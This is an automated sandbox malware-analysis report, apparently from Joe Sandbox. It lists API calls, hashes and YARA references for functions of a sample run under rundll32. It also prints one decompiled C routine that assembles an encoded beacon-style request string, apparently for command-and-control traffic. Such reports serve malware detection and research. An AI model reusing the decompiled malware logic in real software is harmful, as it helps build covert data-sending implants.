                                            • Opcode ID: 748aab468343f47b35ed32a9907f410fb18ebaa90802ed906b8b3540751e7b50
                                            • Instruction ID: 6bed87ed20060b67a0d539409d6f6b114cae3488f9dd91dbc6347ca6d560b1d2
                                            • Opcode Fuzzy Hash: 748aab468343f47b35ed32a9907f410fb18ebaa90802ed906b8b3540751e7b50
                                            • Instruction Fuzzy Hash: EBB1AB72915305EFCB10AF68DC8AE6FBBB9FF84311F00492BF55692250DB719984CB62
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DDAA84 Relevance: 42.3, APIs: 28, Instructions: 262memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL ref: 05DDAAA5
                                            • GetTickCount.KERNEL32 ref: 05DDAABF
                                            • wsprintfA.USER32 ref: 05DDAB12
                                            • QueryPerformanceFrequency.KERNEL32(?), ref: 05DDAB1E
                                            • QueryPerformanceCounter.KERNEL32(?), ref: 05DDAB29
                                            • _aulldiv.NTDLL(?,?,?,?), ref: 05DDAB3F
                                            • wsprintfA.USER32 ref: 05DDAB55
                                            • wsprintfA.USER32 ref: 05DDAB7A
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDAB8D
                                            • wsprintfA.USER32 ref: 05DDABB1
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDABC4
                                            • wsprintfA.USER32 ref: 05DDABFE
                                            • wsprintfA.USER32 ref: 05DDAC22
                                            • lstrcat.KERNEL32(?,?), ref: 05DDAC5A
                                              • Part of subcall function 05DEA670: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000008,?,00000000,00000000,?,?,?,05DDD3E9,?,?), ref: 05DEA730
                                            • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 05DDAC74
                                            • GetTickCount.KERNEL32 ref: 05DDAC84
                                            • RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DDAC98
                                            • RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DDACB6
                                            • StrTrimA.SHLWAPI(00000000,05DF43E8,00000000,0637C310), ref: 05DDACEF
                                            • lstrcpy.KERNEL32(00000000,?), ref: 05DDAD11
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 05DDAD18
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DDAD1F
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DDAD26
                                            • HeapFree.KERNEL32(00000000,?,00000000,00000000,00000000,00000001,?,00000000), ref: 05DDADA0
                                            • HeapFree.KERNEL32(00000000,?,00000000), ref: 05DDADB2
                                            • HeapFree.KERNEL32(00000000,00000000,00000000,0637C310), ref: 05DDADC1
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DDADD3
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DDADE5
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$wsprintf$lstrcat$AllocateCountCriticalPerformanceQuerySectionTicklstrcpy$CounterEnterFrequencyLeaveObjectSingleTrimWait_aulldiv
                                            • String ID:
                                            • API String ID: 3322690043-0
                                            • Opcode ID: 62a5c0e4cadedb41d43cff036bc001236f18f4d26a8dcd54eccea9630dd45345
                                            • Instruction ID: ecd0d4fc24d27882109093966e0f14ef2254322f0289f824c347aeceb67097bc
                                            • Opcode Fuzzy Hash: 62a5c0e4cadedb41d43cff036bc001236f18f4d26a8dcd54eccea9630dd45345
                                            • Instruction Fuzzy Hash: 61A17A32914206AFDB01DFA8EC8AF5A7FE9FB48210F054427F949C6360DB31D995DB62
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 04AB59E2 Relevance: 42.3, APIs: 23, Strings: 1, Instructions: 255memorystringCOMMON
                                            Download Yara Rule
                                            C-Code - Quality: 75%
                                            			E04AB59E2(long __eax, void* __ecx, void* __edx, intOrPtr _a4, void* _a8, char** _a12, int* _a16, void* _a20) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* __ebx;
				void* __edi;
				long _t63;
				intOrPtr _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				void* _t71;
				intOrPtr _t72;
				int _t75;
				void* _t76;
				void* _t77;
				void* _t79;
				void* _t82;
				intOrPtr _t86;
				intOrPtr _t90;
				intOrPtr* _t92;
				void* _t98;
				intOrPtr _t104;
				signed int _t108;
				char** _t110;
				int _t113;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr* _t120;
				intOrPtr* _t122;
				intOrPtr _t125;
				intOrPtr _t130;
				int _t134;
				intOrPtr _t136;
				int _t139;
				CHAR* _t140;
				intOrPtr _t141;
				void* _t142;
				void* _t151;
				int _t152;
				void* _t153;
				intOrPtr _t154;
				void* _t156;
				long _t160;
				intOrPtr* _t161;
				intOrPtr* _t162;
				intOrPtr* _t165;
				void* _t166;
				void* _t168;

				_t151 = __edx;
				_t142 = __ecx;
				_t63 = __eax;
				_v8 = 8;
				if(__eax == 0) {
					_t63 = GetTickCount();
				}
				_t64 =  *0x4aba018; // 0x639b57ef
				asm("bswap eax");
				_t65 =  *0x4aba014; // 0x3a87c8cd
				_t140 = _a20;
				asm("bswap eax");
				_t66 =  *0x4aba010; // 0xd8d2f808
				asm("bswap eax");
				_t67 =  *0x4aba00c; // 0x13d015ef
				asm("bswap eax");
				_t68 =  *0x4aba348; // 0xb6d5a8
				_t3 = _t68 + 0x4abb633; // 0x74666f73
				_t152 = wsprintfA(_t140, _t3, 3, 0x3d173, _t67, _t66, _t65, _t64,  *0x4aba02c,  *0x4aba004, _t63);
				_t71 = E04AB3F1E();
				_t72 =  *0x4aba348; // 0xb6d5a8
				_t4 = _t72 + 0x4abb673; // 0x74707526
				_t75 = wsprintfA(_t152 + _t140, _t4, _t71);
				_t168 = _t166 + 0x38;
				_t153 = _t152 + _t75;
				if(_a8 != 0) {
					_t136 =  *0x4aba348; // 0xb6d5a8
					_t8 = _t136 + 0x4abb67e; // 0x732526
					_t139 = wsprintfA(_t153 + _t140, _t8, _a8);
					_t168 = _t168 + 0xc;
					_t153 = _t153 + _t139;
				}
				_t76 = E04AB1567(_t142);
				_t141 = __imp__; // 0x76ec5520
				_a8 = _t76;
				if(_t76 != 0) {
					_t130 =  *0x4aba348; // 0xb6d5a8
					_t11 = _t130 + 0x4abb8d4; // 0x736e6426
					_t134 = wsprintfA(_a20 + _t153, _t11, _t76);
					_t168 = _t168 + 0xc;
					_t153 = _t153 + _t134;
					HeapFree( *0x4aba2d8, 0, _a8);
				}
				_t77 = E04AB3268();
				_a8 = _t77;
				if(_t77 != 0) {
					_t125 =  *0x4aba348; // 0xb6d5a8
					_t15 = _t125 + 0x4abb8dc; // 0x6f687726
					wsprintfA(_t153 + _a20, _t15, _t77);
					_t168 = _t168 + 0xc;
					HeapFree( *0x4aba2d8, 0, _a8);
				}
				_t154 =  *0x4aba3cc; // 0x56295b0
				_t79 = E04AB5D1C(0x4aba00a, _t154 + 4);
				_t160 = 0;
				_v16 = _t79;
				if(_t79 == 0) {
					L28:
					HeapFree( *0x4aba2d8, _t160, _a20);
					return _v8;
				} else {
					_t82 = RtlAllocateHeap( *0x4aba2d8, 0, 0x800);
					_a8 = _t82;
					if(_t82 == 0) {
						L27:
						HeapFree( *0x4aba2d8, _t160, _v16);
						goto L28;
					}
					E04AB3950(GetTickCount());
					_t86 =  *0x4aba3cc; // 0x56295b0
					__imp__(_t86 + 0x40);
					asm("lock xadd [eax], ecx");
					_t90 =  *0x4aba3cc; // 0x56295b0
					__imp__(_t90 + 0x40);
					_t92 =  *0x4aba3cc; // 0x56295b0
					_t156 = E04AB3739(1, _t151, _a20,  *_t92);
					_v24 = _t156;
					asm("lock xadd [eax], ecx");
					if(_t156 == 0) {
						L26:
						HeapFree( *0x4aba2d8, _t160, _a8);
						goto L27;
					}
					StrTrimA(_t156, 0x4ab928c);
					_push(_t156);
					_t98 = E04AB3970();
					_v12 = _t98;
					if(_t98 == 0) {
						L25:
						HeapFree( *0x4aba2d8, _t160, _t156);
						goto L26;
					}
					_t161 = __imp__;
					 *_t161(_t156, _a4);
					 *_t161(_a8, _v16);
					_t162 = __imp__;
					 *_t162(_a8, _v12);
					_t104 = E04AB4208( *_t162(_a8, _t156), _a8);
					_a4 = _t104;
					if(_t104 == 0) {
						_v8 = 8;
						L23:
						E04AB3F62();
						L24:
						HeapFree( *0x4aba2d8, 0, _v12);
						_t160 = 0;
						goto L25;
					}
					_t108 = E04AB388D(_t141, 0xffffffffffffffff, _t156,  &_v20);
					_v8 = _t108;
					if(_t108 == 0) {
						_t165 = _v20;
						_v8 = E04AB3394(_t165, _a4, _a12, _a16);
						_t116 =  *((intOrPtr*)(_t165 + 8));
						 *((intOrPtr*)( *_t116 + 0x80))(_t116);
						_t118 =  *((intOrPtr*)(_t165 + 8));
						 *((intOrPtr*)( *_t118 + 8))(_t118);
						_t120 =  *((intOrPtr*)(_t165 + 4));
						 *((intOrPtr*)( *_t120 + 8))(_t120);
						_t122 =  *_t165;
						 *((intOrPtr*)( *_t122 + 8))(_t122);
						E04AB4C73(_t165);
					}
					if(_v8 != 0x10d2) {
						L18:
						if(_v8 == 0) {
							_t110 = _a12;
							if(_t110 != 0) {
								_t157 =  *_t110;
								_t163 =  *_a16;
								wcstombs( *_t110,  *_t110,  *_a16);
								_t113 = E04AB43A5(_t157, _t157, _t163 >> 1);
								_t156 = _v24;
								 *_a16 = _t113;
							}
						}
						goto L21;
					} else {
						if(_a12 != 0) {
							L21:
							E04AB4C73(_a4);
							if(_v8 == 0 || _v8 == 0x10d2) {
								goto L24;
							} else {
								goto L23;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L18;
					}
				}
			}






















































                                            0x04ab59e2
                                            0x04ab59e2
                                            0x04ab59e2
                                            0x04ab59eb
                                            0x04ab59f4
                                            0x04ab59f6
                                            0x04ab59f6
                                            0x04ab5a03
                                            0x04ab5a0e
                                            0x04ab5a11
                                            0x04ab5a16
                                            0x04ab5a1f
                                            0x04ab5a22
                                            0x04ab5a27
                                            0x04ab5a2a
                                            0x04ab5a2f
                                            0x04ab5a32
                                            0x04ab5a3e
                                            0x04ab5a4b
                                            0x04ab5a4d
                                            0x04ab5a53
                                            0x04ab5a58
                                            0x04ab5a63
                                            0x04ab5a65
                                            0x04ab5a68
                                            0x04ab5a6e
                                            0x04ab5a70
                                            0x04ab5a78
                                            0x04ab5a83
                                            0x04ab5a85
                                            0x04ab5a88
                                            0x04ab5a88
                                            0x04ab5a8a
                                            0x04ab5a8f
                                            0x04ab5a95
                                            0x04ab5a9a
                                            0x04ab5a9d
                                            0x04ab5aa2
                                            0x04ab5aaf
                                            0x04ab5ab1
                                            0x04ab5ab7
                                            0x04ab5ac1
                                            0x04ab5ac1
                                            0x04ab5ac3
                                            0x04ab5ac8
                                            0x04ab5acd
                                            0x04ab5ad0
                                            0x04ab5ad5
                                            0x04ab5ae2
                                            0x04ab5ae4
                                            0x04ab5af2
                                            0x04ab5af2
                                            0x04ab5af4
                                            0x04ab5b02
                                            0x04ab5b07
                                            0x04ab5b09
                                            0x04ab5b0e
                                            0x04ab5ccf
                                            0x04ab5cd9
                                            0x04ab5ce2
                                            0x04ab5b14
                                            0x04ab5b20
                                            0x04ab5b26
                                            0x04ab5b2b
                                            0x04ab5cc3
                                            0x04ab5ccd
                                            0x00000000
                                            0x04ab5ccd
                                            0x04ab5b37
                                            0x04ab5b3c
                                            0x04ab5b45
                                            0x04ab5b56
                                            0x04ab5b5a
                                            0x04ab5b63
                                            0x04ab5b69
                                            0x04ab5b78
                                            0x04ab5b7f
                                            0x04ab5b88
                                            0x04ab5b8e
                                            0x04ab5cb7
                                            0x04ab5cc1
                                            0x00000000
                                            0x04ab5cc1
                                            0x04ab5b9a
                                            0x04ab5ba0
                                            0x04ab5ba1
                                            0x04ab5ba6
                                            0x04ab5bab
                                            0x04ab5cad
                                            0x04ab5cb5
                                            0x00000000
                                            0x04ab5cb5
                                            0x04ab5bb4
                                            0x04ab5bbb
                                            0x04ab5bc3
                                            0x04ab5bc8
                                            0x04ab5bd1
                                            0x04ab5bdc
                                            0x04ab5be1
                                            0x04ab5be6
                                            0x04ab5ce5
                                            0x04ab5c99
                                            0x04ab5c99
                                            0x04ab5c9e
                                            0x04ab5ca9
                                            0x04ab5cab
                                            0x00000000
                                            0x04ab5cab
                                            0x04ab5bf0
                                            0x04ab5bf5
                                            0x04ab5bfa
                                            0x04ab5bff
                                            0x04ab5c0f
                                            0x04ab5c12
                                            0x04ab5c18
                                            0x04ab5c1e
                                            0x04ab5c24
                                            0x04ab5c27
                                            0x04ab5c2d
                                            0x04ab5c30
                                            0x04ab5c35
                                            0x04ab5c39
                                            0x04ab5c39
                                            0x04ab5c45
                                            0x04ab5c51
                                            0x04ab5c55
                                            0x04ab5c57
                                            0x04ab5c5c
                                            0x04ab5c5e
                                            0x04ab5c63
                                            0x04ab5c68
                                            0x04ab5c75
                                            0x04ab5c7d
                                            0x04ab5c80
                                            0x04ab5c80
                                            0x04ab5c5c
                                            0x00000000
                                            0x04ab5c47
                                            0x04ab5c4b
                                            0x04ab5c82
                                            0x04ab5c85
                                            0x04ab5c8e
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x00000000
                                            0x04ab5c8e
                                            0x04ab5c4d
                                            0x00000000
                                            0x04ab5c4d
                                            0x04ab5c45

                                            APIs
                                            • GetTickCount.KERNEL32 ref: 04AB59F6
                                            • wsprintfA.USER32 ref: 04AB5A46
                                            • wsprintfA.USER32 ref: 04AB5A63
                                            • wsprintfA.USER32 ref: 04AB5A83
                                            • wsprintfA.USER32 ref: 04AB5AAF
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB5AC1
                                            • wsprintfA.USER32 ref: 04AB5AE2
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB5AF2
                                            • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04AB5B20
                                            • GetTickCount.KERNEL32 ref: 04AB5B31
                                            • RtlEnterCriticalSection.NTDLL(05629570), ref: 04AB5B45
                                            • RtlLeaveCriticalSection.NTDLL(05629570), ref: 04AB5B63
                                              • Part of subcall function 04AB3739: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,742CC740,?,?,04AB653D,?,056295B0), ref: 04AB3764
                                              • Part of subcall function 04AB3739: lstrlen.KERNEL32(?,?,?,04AB653D,?,056295B0), ref: 04AB376C
                                              • Part of subcall function 04AB3739: strcpy.NTDLL ref: 04AB3783
                                              • Part of subcall function 04AB3739: lstrcat.KERNEL32(00000000,?), ref: 04AB378E
                                              • Part of subcall function 04AB3739: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,04AB653D,?,056295B0), ref: 04AB37AB
                                            • StrTrimA.SHLWAPI(00000000,04AB928C,?,056295B0), ref: 04AB5B9A
                                              • Part of subcall function 04AB3970: lstrlen.KERNEL32(05629B90,00000000,00000000,742CC740,04AB6568,00000000), ref: 04AB3980
                                              • Part of subcall function 04AB3970: lstrlen.KERNEL32(?), ref: 04AB3988
                                              • Part of subcall function 04AB3970: lstrcpy.KERNEL32(00000000,05629B90), ref: 04AB399C
                                              • Part of subcall function 04AB3970: lstrcat.KERNEL32(00000000,?), ref: 04AB39A7
                                            • lstrcpy.KERNEL32(00000000,?), ref: 04AB5BBB
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 04AB5BC3
                                            • lstrcat.KERNEL32(00000000,?), ref: 04AB5BD1
                                            • lstrcat.KERNEL32(00000000,00000000), ref: 04AB5BD7
                                              • Part of subcall function 04AB4208: lstrlen.KERNEL32(?,00000000,05629DA0,00000000,04AB2263,05629FC3,69B25F44,?,?,?,?,69B25F44,00000005,04ABA00C,4D283A53,?), ref: 04AB420F
                                              • Part of subcall function 04AB4208: mbstowcs.NTDLL ref: 04AB4238
                                              • Part of subcall function 04AB4208: memset.NTDLL ref: 04AB424A
                                            • wcstombs.NTDLL ref: 04AB5C68
                                              • Part of subcall function 04AB3394: SysAllocString.OLEAUT32(?), ref: 04AB33CF
                                              • Part of subcall function 04AB4C73: RtlFreeHeap.NTDLL(00000000,00000000,04AB55C4,00000000,?,?,00000000), ref: 04AB4C7F
                                            • HeapFree.KERNEL32(00000000,?,00000000), ref: 04AB5CA9
                                            • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04AB5CB5
                                            • HeapFree.KERNEL32(00000000,00000000,?,056295B0), ref: 04AB5CC1
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 04AB5CCD
                                            • HeapFree.KERNEL32(00000000,?), ref: 04AB5CD9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.569308088.0000000004AB1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04AB0000, based on PE: true
                                            • Associated: 00000004.00000002.569247741.0000000004AB0000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569348780.0000000004AB9000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569414597.0000000004ABA000.00000004.10000000.00040000.00000000.sdmpDownload File
                                            • Associated: 00000004.00000002.569466131.0000000004ABC000.00000002.10000000.00040000.00000000.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_4ab0000_rundll32.jbxd
                                            Similarity
                                            • API ID: Heap$Free$lstrlenwsprintf$lstrcat$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterLeaveStringmbstowcsmemsetstrcpywcstombs
                                            • String ID: Uv
                                            • API String ID: 2543559236-4002285713
                                            • Opcode ID: d8d13e228b60d04ebbf4e1e07e4c8a0f605a78cdf730de9a328c20d47721f133
                                            • Instruction ID: 47d7a72abf5e6fcd234860892c6163a67214e5a5bfce7af2ad55bca5e6fcd52d
                                            • Opcode Fuzzy Hash: d8d13e228b60d04ebbf4e1e07e4c8a0f605a78cdf730de9a328c20d47721f133
                                            • Instruction Fuzzy Hash: B2914971900208AFDB12DFA9DC48ADA3BB9EF19314F144014F989D7262DB39ED52DBE0
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DED059 Relevance: 37.1, APIs: 15, Strings: 6, Instructions: 389memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • lstrlen.KERNEL32(?,?,05DF9190), ref: 05DED0BB
                                            • RtlAllocateHeap.NTDLL(00000000,05DF8AA9,?), ref: 05DED157
                                            • lstrcpyn.KERNEL32(00000000,?,05DF8AA9,?,05DF9190), ref: 05DED16C
                                            • HeapFree.KERNEL32(00000000,00000000,?,05DF9190), ref: 05DED187
                                            • StrChrA.SHLWAPI(?,00000020,05DF8AA8,?,?,05DF9190), ref: 05DED26E
                                            • StrChrA.SHLWAPI(00000001,00000020,?,05DF9190), ref: 05DED27F
                                            • lstrlen.KERNEL32(00000000,?,05DF9190), ref: 05DED293
                                            • memmove.NTDLL(05DF8AA9,?,00000001,?,05DF9190), ref: 05DED2A3
                                            • lstrlen.KERNEL32(?,05DF8AA8,?,?,05DF9190), ref: 05DED2CF
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DED2F5
                                            • memcpy.NTDLL(00000000,?,?,?,05DF9190), ref: 05DED309
                                            • memcpy.NTDLL(05DF8AA8,?,?,?,05DF9190), ref: 05DED329
                                            • HeapFree.KERNEL32(00000000,05DF8AA8,?,?,?,?,?,?,?,?,05DF9190), ref: 05DED365
                                            • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 05DED42B
                                            • HeapFree.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,00000001), ref: 05DED473
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$AllocateFreelstrlen$memcpy$lstrcpynmemmove
                                            • String ID: GET $GET $OPTI$OPTI$POST$PUT
                                            • API String ID: 3227826163-647159250
                                            • Opcode ID: 46721ce95f75541a4d05e954e51acaa94db70e822a1239e91916ff97b299b64c
                                            • Instruction ID: f65fdce17fc27031244398daac6c69f06bf811621cb92918789c3cdf36ea1857
                                            • Opcode Fuzzy Hash: 46721ce95f75541a4d05e954e51acaa94db70e822a1239e91916ff97b299b64c
                                            • Instruction Fuzzy Hash: 0EE13A71A00205EFDF15EFA8C889BAEBBB6FF04310F14855AF9169B250DB31E951DB60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DD814A Relevance: 36.3, APIs: 24, Instructions: 288memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RtlAllocateHeap.NTDLL ref: 05DD817E
                                            • wsprintfA.USER32 ref: 05DD81E8
                                            • wsprintfA.USER32 ref: 05DD822E
                                            • wsprintfA.USER32 ref: 05DD824F
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DD8286
                                            • wsprintfA.USER32 ref: 05DD82A7
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD82C1
                                            • wsprintfA.USER32 ref: 05DD82E8
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DD82FD
                                            • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 05DD8317
                                            • RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DD8338
                                            • RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DD8352
                                              • Part of subcall function 05DDA1EA: lstrlen.KERNEL32(00000000,742CC740,?,00000000,76F081D0,?,?,05DDACCC,00000000,0637C310), ref: 05DDA215
                                              • Part of subcall function 05DDA1EA: lstrlen.KERNEL32(?,?,?,05DDACCC,00000000,0637C310), ref: 05DDA21D
                                              • Part of subcall function 05DDA1EA: strcpy.NTDLL ref: 05DDA234
                                              • Part of subcall function 05DDA1EA: lstrcat.KERNEL32(00000000,?), ref: 05DDA23F
                                              • Part of subcall function 05DDA1EA: StrTrimA.SHLWAPI(00000000,=,00000000,?,?,05DDACCC,00000000,0637C310), ref: 05DDA25C
                                            • StrTrimA.SHLWAPI(00000000,05DF43E8,00000000,0637C310), ref: 05DD8387
                                              • Part of subcall function 05DEE631: lstrlen.KERNEL32(06378560,00000000,00000000,76F081D0,05DDACFB,00000000), ref: 05DEE641
                                              • Part of subcall function 05DEE631: lstrlen.KERNEL32(?), ref: 05DEE649
                                              • Part of subcall function 05DEE631: lstrcpy.KERNEL32(00000000,06378560), ref: 05DEE65D
                                              • Part of subcall function 05DEE631: lstrcat.KERNEL32(00000000,?), ref: 05DEE668
                                            • lstrcpy.KERNEL32(?,?), ref: 05DD83B0
                                            • lstrcpy.KERNEL32(00000000,00000000), ref: 05DD83BA
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DD83C5
                                            • lstrcat.KERNEL32(00000000,?), ref: 05DD83CC
                                            • RtlEnterCriticalSection.NTDLL(0637C2D0), ref: 05DD83D7
                                            • RtlLeaveCriticalSection.NTDLL(0637C2D0), ref: 05DD83F3
                                              • Part of subcall function 05DDFEA8: memcpy.NTDLL(?,?,00000010,?,?,?,?,?,?,?,?,?,?,05DEF51A,00000000,00000000), ref: 05DDFEF9
                                              • Part of subcall function 05DDFEA8: memcpy.NTDLL(00000000,00000000,?,0000011F), ref: 05DDFF8C
                                            • HeapFree.KERNEL32(00000000,?,00000001,0637C310,?,?,?), ref: 05DD84BA
                                            • HeapFree.KERNEL32(00000000,?,?), ref: 05DD84D2
                                            • HeapFree.KERNEL32(00000000,?,00000000,0637C310), ref: 05DD84E0
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD84EE
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DD84F9
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$lstrcatwsprintf$CriticalSectionlstrlen$lstrcpy$AllocateEnterLeaveTrimmemcpy$strcpy
                                            • String ID:
                                            • API String ID: 4032678529-0
                                            • Opcode ID: 9b77271b6a5c427ce524e829526f1b02e0288045b8bdd2817fa73605102c45f0
                                            • Instruction ID: 0b81a2db1f81d89f8e1ee58b22c79edf79495c656a6d3ef78a22f6c3c8374cd3
                                            • Opcode Fuzzy Hash: 9b77271b6a5c427ce524e829526f1b02e0288045b8bdd2817fa73605102c45f0
                                            • Instruction Fuzzy Hash: A5B15B31914201AFDB02DFA8EC85F2ABBE9FB88714F05481BF54997360DB31E845DB62
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE26B5 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 219memoryfilestringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32 ref: 05DE26D1
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE26ED
                                            • GetLastError.KERNEL32 ref: 05DE273C
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DE2752
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE2766
                                            • GetLastError.KERNEL32 ref: 05DE2780
                                            • GetLastError.KERNEL32 ref: 05DE27B3
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DE27D1
                                            • lstrlenW.KERNEL32(00000000,?), ref: 05DE27FD
                                            • RtlAllocateHeap.NTDLL(00000000,?), ref: 05DE2812
                                            • DeleteFileW.KERNEL32(?,00000000,?,?,00000000,00000000,00000001), ref: 05DE28E6
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DE28F5
                                            • WaitForSingleObject.KERNEL32(00000000), ref: 05DE290A
                                            • HeapFree.KERNEL32(00000000,00000000), ref: 05DE291D
                                            • HeapFree.KERNEL32(00000000,?), ref: 05DE292F
                                            • RtlExitUserThread.NTDLL(?,?), ref: 05DE2944
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000004.00000002.572421841.0000000005DD0000.00000040.10000000.00040000.00000000.sdmp, Offset: 05DD0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_4_2_5dd0000_rundll32.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Heap$Free$ErrorLast$Allocate$DeleteExitFileObjectSingleThreadUserWaitlstrlen
                                            • String ID:
                                            • API String ID: 3853681310-3916222277
                                            • Opcode ID: 74a940912cb83a7c39b1cf69b92e64362627c7241f91c96479f1eec233105368
                                            • Instruction ID: 7256924b8452664cf47aae4ae3b4bac8811a47093e5ca2e6db4b3ca16ad733b5
                                            • Opcode Fuzzy Hash: 74a940912cb83a7c39b1cf69b92e64362627c7241f91c96479f1eec233105368
                                            • Instruction Fuzzy Hash: 38814875910209EFDF10AFA8DC89EAE7FBDFB49304F01406BF505A3210DB319A859B60
                                            Uniqueness

                                            Uniqueness Score: -1.00%

                                            Function 05DE7457 Relevance: 27.3, APIs: 18, Instructions: 274memorystringCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,?,7711D3B0,76EC5520,?,?,?,05DD21C2,?), ref: 05DDEEDC
                                              • Part of subcall function 05DDEEA4: RtlAllocateHeap.NTDLL(00000000,?), ref: 05DDEEF0
                                              • Part of subcall function 05DDEEA4: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF0A
                                              • Part of subcall function 05DDEEA4: RegCloseKey.KERNEL32(?,?,?,?,05DD21C2,?,?,?), ref: 05DDEF34
                                            • HeapFree.KERNEL32(00000000,?,?,?,?), ref: 05DE749E
                                            • RtlAllocateHeap.NTDLL(00000000,00010000,?), ref: 05DE74BC
                                            • HeapFree.KERNEL32(00000000,00000000,00000029,00000000,00000000,?), ref: 05DE74E8
                                            • HeapFree.KERNEL32(00000000,00000000,0000002A,00000000,00000000,00000000,?,00000000,?,?,?), ref: 05DE7556
                                            • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 05DE75CE
                                            • wsprintfA.USER32 ref: 05DE75EA
                                            • lstrlen.KERNEL32(00000000,00000000), ref: 05DE75F5
                                            • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 05DE760C
                                            • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 05DE7698
                                            • wsprintfA.USER32 ref: 05DE76B3
                                            • lstrlen.KERNEL32(00000000,00000000), ref: 05DE76BE
                                            • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 05DE76D5
                                            • HeapFree.KERNEL32(00000000,?,?,?,00000008,0000000B,?,?,?,00000001,?,00000000,?,?,?), ref: 05DE76F7
                                            • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 05DE7712
                                            • wsprintfA.USER32 ref: 05DE7729
                                            • lstrlen.KERNEL32(00000000,00000000), ref: 05DE7734
                                              • Part of subcall function 05DD3622: lstrlen.KERNEL32(05DDD8E9,00000000,?,?,?,?,05DDD8E9,00000035,00000000,?,00000000), ref: 05DD3652
                                              • Part of subcall function 05DD3622: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 05DD3668
